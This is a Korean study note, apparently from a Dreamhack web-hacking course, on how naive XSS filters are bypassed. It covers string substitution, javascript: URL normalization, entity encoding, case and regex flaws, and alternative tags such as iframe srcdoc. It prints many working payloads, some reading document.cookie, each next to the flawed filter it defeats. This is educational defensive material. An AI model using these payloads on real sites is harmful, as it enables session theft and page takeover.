[Dreamhack] STAGE2. XSS Filtering Bypass (1)
Web Hacking Advanced(Client Side) - XSS Filtering Bypass
- 문자열 치환 실습
- 태그 기반 필터링 우회 실습
Exploit Tech : XSS Filtering Bypass - 1
* 강의에서 소개되는 필터링은 모두 잘못된 방식의 필터링이며, XSS 취약점을 근본적으로 제거하기 위해서는 태그 삽입이 되지 않도록 처음부터 원인을 제거해야한다
불충분한 XSS 필터링
HTML에는 별다른 규율 없이 정립된 규칙들이 쌓여 이를 해석하는 소프트웨어 작성에 어려움을 더했으며, HTML의 일부 기능을 비활성화하고자 하는 XSS 필터링 또한 이에 포함된다. HTML에서 js 코드를 실행하거나 페이지에 변형을 가하는 방법은 여러가지가 있으며, XSS 필터링은 이를 모두 막아야한다. 안전하지 않은 코드를 실행할 수 있는 방법은 계속 증가하고 있으므로, XSS 필터링은 안전하다고 알려진 마크업만 허용하는 보수적인 방법을 취해야한다. 일부 문자열만을 바탕으로 필터링을 진행하면 허위양성 또는 허위음성이 발생하여 필터링 자체가 제대로 이루어지지 못할 수 있다.
이벤트 핸들러 속성
js 코드를 실행할 수 있는 html 태그로는 script 이외에도 여러 가지 가 있다. 태그의 속성값으로 스크립트를 포함할 수 있는 경우가 다수 존재하며, 대표적으로 이벤트 핸들러를 지정하는 on으로 시작하는 속성들이 있다. (*이벤트 핸들러 : 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수) 따라서 이 안에 XSS 공격 코드를 삽입해두면 해당 이벤트가 발생했을 때 XSS 공격 코드가 실행된다.
대표적인 이벤트 핸들러 + etc
Event handler | Description |
---|---|
onload | 태그가 요청하는 데이터를 로드한 후 실행 |
onerror | 태그가 요청하는 데이터를 로드하는 데 실패 시 실행 |
onfocus | input 태그에 커서를 클릭하여 focus 상태가 되면 실행 autofocus 속성을 사용해 자동으로 focus 시키거나, URL의 해시에 input 태그의 id 속성값을 입력하여 포커스되도록 함 |
문자열 치환
XSS 키워드를 필터링할 때 의심되는 구문을 거부하는 대신 단순히 치환 / 제거하는 방식의 필터링 관습이 존재하며, 이러할 경우 “scrscriptipt”와 같이 제거되는 키워드를 중간에 삽입하여 우회할 수 있다. 따라서, 필터링 자체가 무력화되며 웹 응용 방화벽에서 다음과 같은 공격 페이로드를 탐지하지 못한다.
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
이에 대한 대안으로, 다음과 같이 문자열에 변화가 없을 때까지 치환을 진행하는 방식이 사용되기도 하지만, 특정 키워드가 최종 마크업에 등장하지 않도록 하는 데에는 효과적이지만 고려하지 못한 구문의 방어와 WAF 방어 무력화 등은 동일하다
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />')
--> <iframe srcdoc="<script>parent.alert(1)</script>" />
활성 하이퍼링크
HTML 마크업에서 사용되는 URL들은 활성 콘텐츠를 포함할 수 있다. 이 중 javascript: 스키마에는 URL 로드 시 자바스크립느 코드를 실행할 수 있도록 하며, 다음 코드와 같이 URL을 속성값으로 받는 a 태그나 iframe 태그 등에 사용할 수 있다. 이 때문에 XSS 키워드를 필터링할 때, javascript: 스키마를 사용하지 못하도록 필터링 하는 경우가 존재한다.
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
이러한 경우에는 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화를 이용해 우회할 수 있는 경우가 존재하는데, 정규화는 동일한 리소스를 나타내는 서로 다른 URL을 통일된 형태로 변환하는 과정으로, \x01, \x04와 같은 특수문자들이 제거되고, 스키마의 대소문자가 통일된다.
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
태그의 속성 내에서 HTML Entity Encoding을 사용하면 javascript: 스키미나 이외의 XSS 키워드를 인코딩하여 필터링을 우회하는 경우가 존재한다. 아래는 이를 통한 우회 예시이다.
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
js 에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며, protocol, hostname 등 URL의 각종 정보를 추출할 수 있다. XSS 필터링 우회 공격 구문을 작성하기 위해 직접 URL을 정규화하며 테스트하는 것이 가능하다
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
태그와 속성 기반 필터링
단순히 태그나 속성을 바탕으로 필터링을 하게 되면 우회가 간으한 경우가 많다
1) 대문자 혹은 소문자만을 인식하는 필터 우회
x => !x.includes('script') && !x.includes('on')
위와 같이 특정 키워드의 대소문자를 모두 검사하지 않을 경우, 다음과 같이 이를 우회할 수 있다
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
2) 잘못된 정규표현식을 사용한 필터 우회
일반적으로 키워드를 필터링할 때에는 정규표현식을 이용하는데, 이에 문제가 있는 경우 정규표현식을 만족하면서 XSS 공격 구문을 삽입하는 것이 가능하다.
다음과 스크립트 태그 내에 데이터가 존재하는 지 검사하는 정규표현식의 경우, src 속성을 통해 데이터를 입력하는 방식을 통하여 우회가 가능하다.
x => !/<script[^>]*>[^<]/i.test(x)
<script src="data:,alert(document.cookie)"></script>
또한 , 다음과 같이 img 태그에 on 이벤트 핸들러가 존재하는 지 검사하는 정규표현식의 경우, 멀티라인에 대한 검사가 존재하지 않기 때문에 줄바꿈문자를 이용해 우회할 수 있다.
x => !/<img.*on/i.test(x)
<img src=""\nonerror="alert(document.cookie)"/>
특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회
HTML에는 굉장히 다양한 종류의 태그와 속성이 존재하므로, XSS 공격에 보편적으로 사용하는 script, img, input과 같은 태그를 필터링한다고 모든 공격을 막을 수 없다.
다음과 같이 script, img, input 태그를 사용하지 못하도록 하는 필터링의 경우, 다른 태그를 사용해 공격을 시도할 수 있다.
x => !/<script|<img|<input/i.test(x)
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
또한, 이와 같이 이벤트 핸들러와 멀티라인을 지원하는 문자까지 필터링하는 경우, iframe을 이용해 우회할 수 있다. iframe의 src는 URL을 인자로 받기에, 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입할 수 있으며, srcdoc 속성을 이용하여 inner frame 내에 새로운 공격 코드를 입력하는 것이 가능하다. 이 때 HTML Entity Encoding으로 기존 필터링을 우회할 수 있다
x => !/<script|<img|<input|<.*on/is.test(x)
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">